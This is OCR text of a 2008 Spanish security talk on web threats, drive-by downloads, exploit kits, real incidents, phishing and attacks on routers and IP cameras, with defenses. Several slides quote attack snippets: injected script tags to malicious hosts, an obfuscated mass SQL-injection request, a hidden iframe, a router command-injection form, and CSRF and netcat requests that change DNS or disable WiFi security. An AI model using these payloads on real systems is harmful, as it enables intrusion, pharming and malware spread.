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Evolucion de las amenazas e
Incidentes en Internet
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Hace mucho, mucho tiempo...
. €n una Internet muy lejana

Clientes

2455
A &

Firewalls
personales

Firewalls routers
y NAT Filtros e-mail y Servidores

concienciacion :E ﬁ

Multiples
Servicios:

DNS, FTP, RPCs...
Web: defacements

Ataques
directos:

Servicios |Fa ma! g * :
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Hoy en dia...

Clientes The Wild Wide West (WWW) Servidores
Web

& d
L

Atagques Web

’_ (80 y 443)

Bots (StormWorm) Web: intermediario

& RBN (China) (2] issss55555 y €
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malicloso
I‘
s verdad?

* Diskettes y CD’s ©
- P2P: canciones, salvapantallas, etc

* E-maill, IM, P2P, etc:
* Drive-by downloads
- La Web .

Vectores de entrada de codigo
- Desde un e-mail o IM... jnuncal,
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Drive-by downloads

» Software (malware) descargado desde
el ordenador sin la intervencion o el
conocimiento del usuario

« Simplemente por visitar una pagina
Web
- Sin pulsar explicitamente en un enlace

* Explota vulnerabilidades en el
navegador o sus extensiones, software
asociado (Adobe Reader, Flash...),
software cliente, o el SO (y librerias)

- ¢ Situacion en los ultimos 6 meses?
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Adobe Reader (PDF)

http://isc.sans.org/diary.html?storyid=3958

http://isc.sans.org/diary.html?storyid=3531 3.1.2

8.1.1

8.1.2

¢ Qué pasa con
Adobe Reader
7.0.x7?

Oct 07 Feb 08
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Java 6 (JRE)

http://blogs.zdnet.com/security/?p=933

http://isc.sans.org/diary.html?storyid=3829 J 6 UdS
J6U4

J6U3

J6US

iQué pasa con Java 5 Ux,
y Java 1.4.x, 1.3.x..7

Oct 07 Ene 08 Mar 08
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Quick Time

http://isc.sans.org/diary.html?storyid=3955

http://isc.sans.org/diary.html?storyid=3852 7.4. 1

7.4

http://isc.sans.org/diary.html?storyid=3746

7.3.1

http://isc.sans.org/diary.html? 7.3

storyid=3618 7.4.1

No disponibles
automaticamente
en Windows

Nov 07/ Dec07 Jan 08 Feb 08
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Firefox

http://isc.sans.org/diary.html?storyid=3952

http://isc.sans.org/diary.html?storyid=3709 200 12

2.0.0.11

http://isc.sans.org/diary.html? 2
storyid=3603 & 3694 0.0.9
2.0.0.10

http://isc.sans.org/diary.html?

storyid=3518 20.0.8 200.12

. |
iGraciasalas |
actualizaciones |

7 g I
automaticas! !

Oct 07 Nov O/ Dic 07 Feb 08
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Y muchos mas...

Real Player:
http://isc.sans.org/diary.html?storyid=3519 & 3528 3810 4120
Parche para 10.5y 11.x

>

seguridad y exploits para MS08-14

todos ellos!... y mas

Vulnerabilidades de |

Has actualizado todo tu software, éverdad? ®
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Drive-By...

« Adobe Reader + Adobe Flash

* Quick Time « Navegador
e Java - Firefox, |IE, Safari, etc
e MS Office * Lector correo
- Word, Excel, - Outlook, Thunderbird, etc
PowerPoint, etc « Clientes |M
* RealPlayer » VLC, MediaPlayer, etc
« Skype « WIinZIP
* ITunes « WinRAR

Llevo un navegador dentro de mi ©
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Mpack:
Web, malware, botnets, etc

K‘ MPack - Internet Explorer

X

http://192.168.75.171/mpack/admin.php

o~ B ~ & - [ =k Page v i Tools » :

MPack v0.94 stats

Attacked hosts (total - uniqg)

Traffic (total - uniq)
IE XP ALL 18- 4 Total traff
QuickTime 0-0

Exploited
Win2000 Loads count
Firefox

24-7
2-2
6-3

300% - 150%
Efficiency 25% - 42.86%

Loader's response
Opera7

Browser stats (total) Modules state
MSIE ;

Statistic type Textfile-based
: User blocking
Opera? i

Country blocking
Firefox

Country

Efficiency
E= us - united states

21.74%
E= RU - Russian federation 100%

Referer stats (>3)
http: / /www.mymalicious.page/index.php

http:/ /www.myothermalicious.page/index.php

for test purposes. You are prohibited to use it in conditions viclating local or international laws. Authors hold no responsibility for any damage, direct or indirect, caused by

Mpack, Icepack, Webattacker...
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Incidentes de seguridad Web
The Honeynet Project

FINDIMGS

The ljloneynet

R O ESC . THE

KEnow Your Enemy Lite: Proxy Threats - Socks w666 - 29 January, 2008

This paper is our frst ever "WYE Lite” paper. These are shorter papers that foocus on very specific topics, In this paper we discuss: the hasic
operational concept of how reverse tunne! proxies work, & new customized control protocod in wse, the adrantages to the criming! commuonity, 3
detaiied example and it's similarities to legacy SOCKS protocols, and how this activity can be further identified including mitigation strategies,

KEnow Your Enemy: Behind the Scenes of Malicious Web Servers - 7 November, 2007

In this paper, we fnorease ouwr dnderstanding of malicious web servers thvough analysis of several web explofation kits that have sppeared in
200507 Webddtacker, MPack, and fcefack, Our discoveres wilt necessitate adiustments on how we #hind about malicious web servers amd wil
have direct imolications on oent hopepoot technology and future studies,,

Know Your Enemy: Malicious Web Servers - 14 fugust, 2007

In this paper, Wwe take an in-depth look 5t malicions webh servers that aitack web browsers and we evalvate several defensive strategies that can
be emplayed to counter this threat of client-side attacks, Al the malicious web servers dentified in this study were found with our client
honeppot Canture-HEC,

Know Your Enemy: Fast-Flux Service Metworks - 15 July, 2007

This whitepaper details 3 growing technigus within the crimina! cormmunity calfed fast-flux networks, This is an architecturs that builds mors
robust petworks for malicious activity white making them more difffcul to track and shutdown, This is the first YE paper we are releasing in
both paf angd Al format,

Know Your Enemy: Web Application Threats - 07 February, 2007

This paper prowvides behing the scenes information on varfous HTTP-based atacks against web spofications, incloding remote file fnclusion and
expioitation of the FHeShel soplication, The paper is based on the research and dats coffected from the Chicago Honepnet Srofect, the Mew
Zegland Honepnet Froject ang the German Honspnet Srofect during muitinle honeprpot comoromises, dlong with the relegse of this paper, comes
new fonctfongiity o the Soogle Haok Honepoot [(GHHE), used extensively in the paper, GHAE now ncludes an automated malivare colffection
function, s weall a5 remote XWE-R0C logoing for 550 suppoed,

http://www.honeynet.org/papers/webapp/, /mws & /wek
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Seguridad en aplicaciones Web
Problematica

« Publicamente disponibles y gran ubicuidad

« Puertos: s Utilidad de los firewalls?
- TCP 80 (HTTP) y 443 (HTTPS)

« HTTP es un protocolo complejo que permite procesar
datos del usuario

 Web 2.0: + complejidad

« Tecnicas de ataque sencillas

* Anonimato de Internet (proxies anonimos)

« (Codigo propietario y (probablemente) no verificado
« iEn busca de dinero! (E-commerce)

« Cambio constante del codigo, ¢ versiones?

¢Cual es la version actual de tu aplicacion Web? ¢é2.9.905?

Amenazas e incidentes de seguridad en entornos Web © 2008 Raul Siles 17




Vulnerabilidades, exploits e
iIncidentes en aplicaciones Web
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Vulnerabilidades Web
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Vulnerabilidades
Prioridades y estadisticas

« OWASP Top 10:

- Fallos, vulnerabilidades y amenazas de
seguridad mas criticas en aplicaciones
Web

- Lista ordenada por criticidad

» Algunas ausentes en 2007:

- Ataques a ciegas (inyeccion SQL y Xpath),
o inyeccion en LDAP

« Cambio de prioridades en 2008:
- CSRF, XSS, inyeccion, etc
http://www.owasp.org/images/e/e8/OWASP_Top_10_2007.pdf
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OWASP Top 10

* A1-Cross Site Scripting (XSS)

« A2 - Ataques de inyeccion

« A3 - Ejecucion de ficheros y codigo malicioso
* A4 - Referencias directas a objetos inseguras
* AS - Cross Site Request Forgery (CSRF)

* AG - Filtrado de informacion y gestion incorrecta de
errores

« A7 - Autentificacion y gestion de sesiones

* A8 - Almacenamiento criptografico inseguro
* A9 - Comunicaciones inseguras

 A10 - Fallo al restringir el acceso a URLs

2008: Cross-Site “lo que sea”

Amenazas e incidentes de seguridad en entornos Web © 2008 Raul Siles 2!




Web Application Security
Statistics - 2006

Percentage of websites vulnerable by class (Top 5)

'“% M Cross-Site Scripting
SQL Injection
Information Leakage
HTTP Response Splitting
Path Traversal

Other

Most common vulnerabilities by class (Top 5)

|
|.63%
13.86% |

Cross-Site Scripting

S8l Injection

SQL Injection

HTTP Response Splitting
Information Leakage
Orther

.. i ...

). 5435

http://www.webappsec.org/projects/statistics/ (WASC)
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Ejemplos
cada
semana

SANS Top 20

» Riesgos de seguridad (2007)
 VVulnerabilidades en servidores

4396 Total Vulnerabilities Reported in
SAN3 @RISK Data From November 2006 -

- S.1 Aplicaciones Web
- Vuln. en aplicaciones

Web comerciales u o e
O pe n -SO u rce m Other Vulnerabilities

- ¢ Aplicaciones propietarias?

http://www.sans.org/top20/
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Exploits Web
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Exploits: aplicaciones Web

AV, Tl::._\_unr!n.n

Z2008-03-11 Motorola Timbuktu Pro £.6.5/8.7 Path Traversal / Log Injection Exploit
Z2008-03-11 Motorola Timbuktu Pro < = £.6.5 File Deletion/Creation Exploit
200%-03-10

2008-03-10

Z00%-03-09

2008-03-06

2008-03-10
2008-02-21
2008-02-18
2008-02-18
2008-02-18
2008-02-13

2008-03-11 Nanneo CHMS <= 10,5.1 Remote Blind 50L Injection Exploit 345
2008-03-11 Y vomla Component ProductShowcase <= 1.5 SQL Injection Yulnerability 1300
Z2008-03-11 p pBB Mod FileBase (id) Remote SQL Injecton Yulnerability 1368
2008-03-11 B oo <= 1.00 Multiple Remote 5L Injection Yulnerabilities 758
2002-02-11 | lapbender 2.4.4 (gaz) Remote SOL Injection Yulnerability 658
Z008-03-11  Mapbender < = 2.4.4 [mapFiler.php) Remote Code Execution Yulnerability 764

—

Core Impact 7.5: Aplicaciones Web

Amenazas e incidentes de seguridad en entornos Web © 2008 Raul Siles 25




Incidentes de seguridad Web
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Incidentes: ;Donde (no) esta la
amenaza en la Web?

« Servidores Web maliciosos
- Servidores Web y equipos de usuarios

« Servidores Web con mala reputacion
- Software pirata y n®. serie, porno, drogas, apuestas, etc

« Servidores Web comprometidos
« Servidores de Web hosting compartido

« Servidores Web publicando contenido malicioso de 3%’s
- Anuncios (Ads), contadores...; relaciones entre companias

» Servidores Web publicando contenido de los usuarios
(Web 2.0)

- eBay, foros, blogs (tema candente), etc
- Comunidades en linea: Youtube, Myspace, Facebook, etc

Buscadores Web (SEQ)
iNavega solo a sitios Web de confianza! © ~ 10% es malicioso

Amenazas e incidentes de seguridad en entornos Web © 2008 Raul Siles 27




. Web defacements en 20087

DATE ATTACKHER FLAGS DOmAIN W BV
2008250353 0.1 HM % wwwlizquierda-unida.es Wi 2003 r

Mirror saved on: 2008/03001 23:349

Defacer: 0.0 Domain: hitp s iZguierda-unida.es IP address: 32 22317642

System: Win 2003 Web server: [1556.0 Attacker stats

Por kaOx y Piker

kaOx, anOde, xarnuz, Piker

Tenemos alge en comun, le dijo un presidente a un embustero...

http://www.zone-h.org
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Super Bowl! XLI
Web de Miami Dolphin Stadium

 Febrero 2007

- dolphinstadium.com

 Vulnerabilidad:

- Inyeccion SQL en Dreamweaver

- Ausencia de validacion de entrada en el codigo
vulnerable (segun cada aplicacion Web)

- Contenidos de la Web almacenados en BD
« Exploits:
- MS06-014 (MDAC) y MS07-004 (VML)
- Instalacion de keylogger/backdoor: wic.exe (WoW)

http://www.websense.com/securitylabs/alerts/alert.php?AlertID=733

Amenazas e incidentes de seguridad en entornos Web © 2008 Raul Siles 29




Super Bowl XLI (2)
Web de Miami Dolphin Stadium

* Muchos mas sitios comprometidos:
- Ataques dirigidos: hospitales, apuestas, etc

‘<Script src="http://dv521l.com/3.js></script> I

* Muchos mas sitios Web sirviendo scripts
- 3.js (ene’07), 1.js (dic’06), 8.js (feb’07), etc
- Google (T200K enlaces)

 Estar en el sitio adecuado en el momento
justo: ¢ n2. visitantes?

http://isc.sans.org/diary.html?storyid=2166 & 2178 & 2187...
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India Times

* ;Web fiable”? www.indiatimes.com
* Noviembre 2007 (WHID 2007-85)

* 464 ficheros maliciosos desde18 IP’s
- Binarios, scripts, cookies, Flash, imagenes, etc

« EXxploits sobre vulnerabilidades en Windows
(ej. MDAC MS06-14) - MSF

» Deteccion minima por parte de los AV
(www.wirustotal.com)

» Vulnerabilidad: jdesconocida ¢ publicamente?!

http://www.theregister.co.uk/2007/11/10/india_times_under_attack/
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MySpace: Nuevo XSS

 MySpace: Comunidad en linea

- Filtrado de la entrada del usuario en el portal, al
editar el perfil del usuario

* Version movil: mobile.myspace.com
- Diciembre 2007 (nueva vulnerabilidad)

- Filtrado de la salida del usuario, al mostrar el
contenido del perfil

* |nsercion de Javascript/HTML en la version
movil para atacar a los usuarios del portal

- Cuando se arregle, ;que pasa con
los perfiles ya contaminados? imyspace.com-

Amenazas e incidentes de seguridad en entornos Web © 2008 Raul Siles 32




Robot de inyeccion SQL masiva

* Diciembre 2007
- Ultimo incidente de 2007, primero de 2008
- WHID 2007-82

« 70.000 sitios Web comprometidos
* |[nyeccion SQL automatica

- Script automatico o robot (T gusano)
* Inyeccion SQL generica

- IS y MS SQL Server
— POST /my.asp?s=300'<cdédigo SQL>..

http://www.webappsec.org/projects/whid/byid_id_2007-82.shtml

Amenazas e incidentes de seguridad en entornos Web © 2008 Raul Siles 33




Robot de inyeccion SQL masiva
(2)

 Redireccion de_ los u_suarios a una Web
con malware - infeccion masiva

* |nserta redireccion a “‘ucd010.com”
(China) en cada registro de tipo
VARCHAR

‘<Script src="http://c.uc8010.com/0.js"></script> I
* Restaurar la base de datos, s backup?

 La Web maliciosa explota una
vulnerabilidad en Real Player para la que
no hay parche:

http://isc.sans.org/diary.html?storyid=3810
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Robot de inyeccion SQL masiva
(3)

* |Inyeccion SQL ofuscada:

GET /home/site_content_3.asp?
s=29OL;DECLARE%ZO@S%ZONVARCHAR(4000);SET%ZO@S=CAST
(0x640065..03BO00%20AS$S20NVARCHAR (4000) ) ; EXEC (@ES) ; ——

« CAST: Conversion entre tipos (@S=...;)

Para todas las tablas de usuario (U), buscar las
columnas de tipo VARCHAR y hacer un UPDATE
de la fila, ahadiendo “<script>...</script>"

@m=REVERSE §7

/«apiffisc.sans.org/diary.html?storyid=3823

-
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www.stopbadware.org

©IMalware Warning - Mozilla Firefox -0 x|
Fil= Edit ‘iew History Bookmarks Tools  Help

- - I\C_*'j Ll @ http: ffimages. google.comfimgresFimgurl=http:{ fmavecen. com/green0d.jpg | = | [ @" it

" Getking Started |5 Latest Headlines

Warning - visiting this web site may harm your computer!

You can learn more about harmful web content and how to protect your computer at StopBadware org.

Suggestions:

+ Feturn to the previous page and pick another result.
+ Try another search to find what you're looking for.

Qryol can see the image inits own context hitpfeasiy mayecen comigreanles 1 htm at your own risk.

If ywou are the owner of this web site, you can request a review of your site using Google's Webmasters Tools.
Advisory provided by G(_)i. JSIU

Primer enlace: "Voy a tener suerte” © _Veyatnersiere |
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SPAM & Phising
(Jnad|e p|Ca, nO? /(;Ylosfiltros\

anti-SPAM y
Nuevo Sistema De Seguridad trtex | % ti-phisi P
infoi@ibercaja.es 2:34 AN (22 hours aga) =} an I-p ISIng '

Se contratan traductores: iRazdn aqui! \ /
\

Y 4
[ber Caja siempre trata de encontrar sus expectativas mas altas. Por eso usamos la ultima U Itl ma Sema na

tecnologia en seguridad para nuestros clientes.,
Por lo tanto nuestro departamento de antifraude ha desarrollando un nuevo sistema de

seguridad gue elimine cualquier posibilidad del acceso de la tercera persona a sus datos, febre ro 08 -
cuentas ni fondos, Este sistema esta construido en la utilization de una pregunta secreta vy -
respuesta. Su respuesta secreta seria usada para confirmar su identidad cuando haga una
operacion de pagos. Es obligatorio para todos los clientes de Iher Caja en Linea usar este ° I b C -
cistemna de seguridad.Muestro consejo para usted es que introduzeca sus datos de acceso er aJa
para pasar La Verificacion Del Sisterna. 5i el registro no es realizado dentro de 48 Horas su
cuenta sera suspendida temporalmente hasta gue su registro sea completado,

Esto solo le wva a costar unos minutos de su tiempo vy va a tener una seguridad mucho mas

estable,
Para comenzar el registro por favor pinche agui:

http://211.35.49.230 hcceder

La Caixa
Openbank
Cajamadrid
Santander ...

Tados los Derechos Reversados 1996-2008@ Grupe Financiera IberCaja.a,
Para cualquier duda o aclaracion camuniquese can nosotros al Telfi901 37 37 37

http://0xd3.0x23.0x31e6/.clientes.ibercaja.es/Login_asp.htm
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& Reported Phishing Website: Navigation Blocked - Windows Internet Explorer

—— p—

'-I,j ahy EER @ ;v € http:fi211.35.49,230/ clientes.ibercaja.es/Login_asp. ¥ | %' Phishing Website . 2| X PRk
W AP | @@ http:/}211.35.49.230/. dientes.ibercaja.es/Login_asp... | - B gy v |i5r Page ~ i) Tools ~
@ T P EcRcA
b 3 DIRECTO
h

=i Contactenos 28 de Febrero de 2008
In
i
N Alta en Ibercaja Directo:

Solicite ahera Nuestro servicio gratuito . ’ . ) .
H ACCESO a Ibercaja Directo e Ibercaja Directo Negocios
W Para operar lag 24 h. por Internst
| Ayuda:

| - - Mo consique acceder introduciendo su clave 7 | gpjg clientes dados de alta en lbercaja Directo. Para acceder introduzca :

g Para cualquier otra consulta:

- Telefono Cod. ldentif. Usuario ;|
- Correo electronico

| Demo: @E‘.Iﬂve de Accesg
L - Acceso a WVERSION DEMO

{__ I Seguridad: Acceso con DI A . T R :
Tarieta d . : p s = = ecto, £
-Tarizta de claves EeE T cceso para clientes sin contrate Ibercaja Directo, con

Rl - Becomendacionss a tener en cuenta PIN de cualjuiera de sus Tarjetas Ibercaja ™

cligntes dados de alta
en lbercaja Directo

—Como DnI

=L 0mo . et : Avuda
M'—\r W funciona? lnj -4
Verisign VariSign " @ Introducir PIM Tarjeta
_il Secured / 1 W Secured / L 81 " S0L0 CONSULTAS I 2 “v

Done @ Internet B 100% -
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Objetivos economicos en los
iIncidentes Web

* Informacion confidencial de la Web |

* Web de comercio online o NG g
- Tienda, compra/venta, subastas, etc ' {7
- Tarjetas de crédito s
« Ataques sobre los usuarios
- Juegos online: War of Warcraft (WoW)

- Alquiler de Botnets
« SPAM, DoS, phising, spear phising (dirigido), etc

- Credenciales: keyloggers

Defacements clasicos vs. Defacements silenciosos (~ malware)

Amenazas e incidentes de seguridad en entornos Web © 2008 Raul Siles 3




Ofuscacion de scripts y
redirecciones

* Peticion inicial no maliciosa:

IDS, AV,
analisis
malware

‘ <script src=“http://xxx.com/0.js></script> I

Ejemplos:

<iframe src="http://yyy.com/g.htm"
width="0" height="0" scrolling="no”
frameborder="0"></iframe>

<script>function 57..8E(DE..2D) {
function 1030 () {return 2;}

var 94..E6="";
for(3C..03=0;D0..03<CB..2D.length;
DO..60+=DA..97()) {
EA..E6+=(String.fromCharCode (E4..13
(DE..2D.substr (D0..03,DA..30()))));
}

document .write (EA..E6);} </script>

Multiples &
veces | f#%mstaye; =
@ niveles

<img src="http://zzz.com/2.js"

width="0" height="0" border="0"></img>

Finalmente cddigo: PHP, JavaScript, Flash, EXE, Java...
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Incidentes Web - WHID

« WASC Web Hacking Incidents
Database (WHID)

* |Incidentes publicados en los medios

- ¢Cuantos incidentes se mantienen en
secreto?

» Centrado en ataques dirigidos

* |dentificadores unicos (WHID ano-n2)
- Anos: 1999-2008
- Clasificacion: metodo de ataque, pais, etc

http://www.webappsec.org/projects/whid/
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WHID 2007-43 (Espana)
Web del Ministerio de la Vivienda

N I’

-I:ﬂ.p.ﬂhl-'td W s
QDI CTLE B TR LB

List of incidents for which Country is Spain

WHID 2007-43: Hacker attacks the Ministry for Housing
website as Spanish mortgages come under the
international spotlight

Reported: 03 September 2007

Occurred: 29 dugust 2007

Classifications:
= Attack Method: Unknown
= Country: Spain
= Dutcome: Defacement
s ¥ertical: Government

vet another defacerment, and as usual in the political arena. Howewver, this
one is worth a note as the attack is very targeted, while usoally such political
defacements are carried quote randomly against sites loosely related to the

Ty

opponent and usually has little to do with the actual rmessage the attackers want to convey,

In this case the defacement seems to be a direct response to the hot debate about housing
prices in Spain,

References:
» Hacker attacks the Ministry for Housing website as Spanish mortgages
icome under the international spotlight
Mews Stary, Typically Spanish, 30 August 2007
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XSSed

L

kS

NS SR

¥55 attacks informacion

XSS Archive | XSS Archive % | TOP Submitters | TOP Submitters % | TOP Pagerank | & search

Date Author Domain S F PR Category Mirror
: 11/03/08 .: mox Zme.amazon.com * X 39 xSS mirror
I 11703708 | mox ayments.amazon.com * X 39 XSS mirror
: 08703708 : UberOn shox.kompass.com w X 8827 XSS mirror
I o8/03/08 : holisticinfosec w XA 121744 X5S mirror
: 08/03/08 | Hanno Boeck www.porntube.com * X 3408 X55 mirror
| os8/03/08 : Airrox R W X 13 XSS mirror
I
I o07/03f08 : mox digg.com R W X 163 XS5 mirror
: 07/03/08 | THE_MILLER geocities.yahoo.com * X 92 XS5 mirror
: 07703708 : mox veww.google.com R % X 4 Redirect mirror
I o6/03/08 | mox hs.facebook.com R W X 7 x5S mirror

www.xssed.com & www.xssing.com
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Defensas
Actualizaciones de SW cliente

* Heterogeneidad de las aplicaciones cliente

* Actualizaciones no disponibles (aunque estan)
- Quick Time 7.X.1, Java 6 U4, etc

* Versiones previas aun instaladas:Java

* Permisos de administrador (chequeo)
- Adobe Reader, Thunderbird, MS updates
(manuales), etc

* Mecanismo eficiente y eficaz de

actualizaciones automaticas Noserint

= EJ Firefox > @ Extra pratection For your Firefox

- Reiniciar aplicacion y/o sistema: jhibernacion!
http://isc.sans.org/diary.html?storyid=3982 & 3988
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2117966.net

Defensas
Aplicaciones Web

« Administradores y desarrolladores

* Formacion

 Web Application Security Scanners (WASS)
 Web Application Firewalls (WAF)

 Auditorias de seguridad
- Caja negra: prueba de intrusion
- Caja blanca: revision de codigo
* Bloquear las URLs conocidas quée contienen el
codigo malicioso (scripts)
- Al menos detectarlas en los logs
- Mucha gente se entera demasiado tarde

 Respuesta ante incidentes

http://radajo.blogspot.com/2007/04/writing-secure-code-root-cause-of.html
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Defensas
Entornos Web... i TODOS!

» Servidor Web corporativo y publico

» Servidores Web para terceros (publicos)
- Partners, proveedores, clientes, etc

* Los 1001 servidores Web internos

» Servidores Web de aplicaciones
- Citrix, SharePoint, VNC, etc

o Servidores Web de administracion

» Dispositivos embebidos...
¢EL servidor Web?
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El siguiente objetivo...

Dispositivos embebidos
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. Qué tienen todos ellos en
comun?

N = =
l ; g
—

Un dueno, una IP... y un servidor / aplicacion Web ©
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Atagques Web sobre dispositivos
embebidos

Dispositivo

bebido i .\.‘ \
LLLLLLLC OR

Ejecucion de la accion en la
Web del dispositivo

. Ej.-cambio de configuracion
Usuario / Peticion (E) J )
Admin preparada por Preparacion de la
el atacante peticion Web
maliciosa para el
Red dispositivo embebido
malambrlca Internet

g

Atacante
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Atagques Web sobre dispositivos
embebidos (2)

@ Autentificacion Dispositivo "X
i ificacic embebido SEEN
(o ausencia de autentificacion) @ %

| k ———"——" Ejecucion de la accion en la

@ LAN Web del dispositivo
> (Ej.-cambio de configuracion)
Usuario/ Peticion preparada por el atacante

Admin

®

Acceso a URL maliciosa que
contiene la referencia a la
Web del dispositivo y los
parametros adecuados

%

Generacion y
publicacion del codigo
malicioso (peticion al
dispositivo embebido)

-~
~
-~
-~
~
-~
-
~
-~
-
-~
-~
-
-~
-~
-
-~
-~
~ o~

-~
-~ }

-~
-~
-~
~
-~
-
-~
=~ o~
-~

Internet

Servidor Web malicioso

Amenazas e incidentes de seguridad en entornos Web © 2008 Raul Siles >0




Inyeccion de comandos
La Fonera - FON

* Punto de acceso (WiFi hotspot)

* Interfaz Web de administracion /
vulnerable a inyeccion de comandos

<form method="post" action="http://192.168.10.1/cgi-
bin/webif/connection.sh” enctype="multipart/form-data">
<input name="username" value="$ (/usr/sbin/iptables -I INPUT
1l -p tcp ——-dport 22 -j ACCEPT)" size="68" >

* Habilitar acceso por SSH - OpenWRT

* FON Vv0.7.1-r1 (no FON+)
http://pauldotcom.com/wiki/index.php/Episode84
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Ausencia de autentificacion y CSRF
Router 2wire

* Routers xDSL mas populares en Méjico
- 1701HG, 1800HW, 2071 Gateway

* Por defecto no tiene clave (gracias ISP)

* Multiples comandos posibles:
- Anadir entrada de DNS estatica A}

http: //192.168.1.254/xs1t?PAGE=J38 SET&THISPAGE=J38&NEXTPAGE
=J38 SET&NAME=www.banco.com&ADDR=1.2.3.4

- Cambiar la clave del dispositivo, deshabilitar
seguridad WiFi, modificar el firewall, etc

http://securityvulns.com/Rdocument808.html
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Ausencia de autentificacion
Linksys WRT54G

* Punto acceso WiFi mas popular
- WRT54Gv5 v1.00.9 (Ago 2006)

* Los méetodos POST no requieren
autentificacion (usuario y clave) - GET si!

S nc 192.168.1.1 80
POST /Security.tri Deshabilitar

Content—-Length: f4/// Seguridad WiE

SecurityMode=0&layout=en

http://www.wirelessve.org/entries/show/WVE-2007-0005
http://archives.neohapsis.com/archives/fulldisclosure/2006-08/0122.html
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BT Home Hub
Impresoras
VolP

Camaras IP
Axis 2100

* Firmware <=2.43
« CSRF global (acciones administrativas)

« XSS persistente: configuracion de red, ver video y
pagina de logs (anadir cuenta administracion)
- Redireccion o modificacion de la grabacion de video
- Punto intermedio de ataques internos

« XSS no persistente en errores de tipo 404
 Empleadas como camaras de seguridad - @

* |dentificacion de victimas:

- Visual (acceso fisico)
- Google Hacking (2560 el 13/02/2008)

- intitle:"Live View / - AXIS" | inurl:view/view.shtm|”®

http://www.procheckup.com/Vulnerability_Axis_2100_research.pdf

Amenazas e incidentes de seguridad en entornos Web © 2008 Raul Siles >4




Atagues sobre dispositivos embebidos

« Deshabilitar medidas de seguridad
- WiFi: captura e inyeccion de trafico
- Firewall hacia Internet: atagues a los equipos internos

- Habilitar puerta trasera para controlar el dispositivo
remotamente

* Punto intermedio para otros ataques

* Robo de credenciales
- VolP, DynDNS, banco, etc

« (Captura de las conversaciones de VolP

» Modificacion de DNS (Pharming)
- Phising, ataques MiTM, etc

» Reemplazar el firmware (a medida)

Amenazas e incidentes de seguridad en entornos Web © 2008 Raul Siles 535




Drive-by Pharming

* Symantec - Febrero 2007/
- Ataques activos en enero de 2008
- 2wire (Mgjico): E-card (mail) a gusanito.com
- <img> en mail con HTTP GET al router

* Visitar una pagina Web maliciosa conlleva
la reconfiguracion del router (CSRF)
- Cambio de los servidores DNS

* Phising, MitM, etc

http://www.symantec.com/enterprise/security_response/weblog/20
08/01/driveby_pharming_in_the_wild.html
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Reemplazar el Firmware

» Dispositivos basados en Linux {}

il

- Windows: kioskos (aeropuertos), cajeros, etc ¥

« Siguiente pesadilla...

- Servidores Web explotando vulnerabilidades
en dispositivos embebidos y distribuyendo nvames i
nuevas imagenes de firmware (a medida) Linksys

— ;Own3d! WRT54G

« Hasta donde se puede llegar
- “Linksys WRT54G Ultimate Hacking”

http://radajo.blogspot.com/2007/06/linksys-wrt54g-ultimate-hacking-
book.html
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Hoy y en el futuro...

Clientes y disp. embebidos Servidores
-- Web
=
Firewalls %
Bots (Clientesy ~ Ataques Ataques Web

disp. embebidos) ~ "9'°®

’_ (80 y 443)

Web: intermediario

E $S$555$SS v €!
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Dispositivos embebidos:
s puede ser peor?

 jHacking en los 90!

* Challenge (Febrero 08)
- Generar concienciacion
- No solo de vuln. Web I G
» Claves por defecto: fabrlcante 0 telco
- No es el objetivo

* Ejemplos: Authentication bypass,
CSRF, XSS.. otodos a la vez

http://www.gnucitizen.org/projects/router-hacking-challenge/
http://www.0x000000.com/index.php?i=524
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Defensas - Atagues Web vy
dispositivos embebidos

 Vendedores de los dispositivos

- Solucionar todas las vulnerabilidades del servidor Web (et.al.)
» Depuracién compleja: JTAG
* No es excusa para las aplicaciones Web (Linux)

« jActualizar el firmware! ;lo has hecho alguna vez?

 Evitar configuraciones por defecto
- Direccion IP y red, usuario y clave, etc

« Restringir el acceso al interfaz de administracion (filtros por IP)
« Deteccion: logging remoto (Syslog)
« Extension Firefox: NoScript - CSRF y XSS
« Navegacion exclusiva a sitios criticos
- Usar dos navegadores (0 VM’s) - jPestanas!
 Red separada para dispositivos embebidos
« iDeshabilitar el interfaz Web (SSH)!

Queda mucho por hacer...

Amenazas e incidentes de seguridad en entornos Web © 2008 Raul Siles ¢0




Referencias

* “Web 2.0 Hacking”

- http://www.gnucitizen.org/blog/for-my-next-
trick-hacking-web20

* “The ghost in the browser: analysis of
web-based malware”

- http://www.usenix.org/events/hotbotsQ//tec
h/full_papers/provos/provos.pdf

 “Trends in badware 2007/

- http://www.stopbadware.org/pdfs/trends_in
_badware 2007.pdf

Referencias durante toda la presentacion, mas...
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(http://wrtd4ghacks.com)

* Insecure Magazine - N2 14
- http://insecuremag.com

* “Embedded Device (In)Security”

- http://www.pauldotcom.com/2008/01/27/pauldotcom_securit
y_weekly spe 14.html

« GNUCitizen: www.gnucitizen.org
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Amenazas e incidentes de seguridad en entornos Web © 2008 Raul Siles ¢2




(B Rail Siley

www.raulsiles.com

Realidad o ficcion...
iiMuchas gracias!!
* Raul Siles

www.raulsiles.com
raul@raulsiles.com
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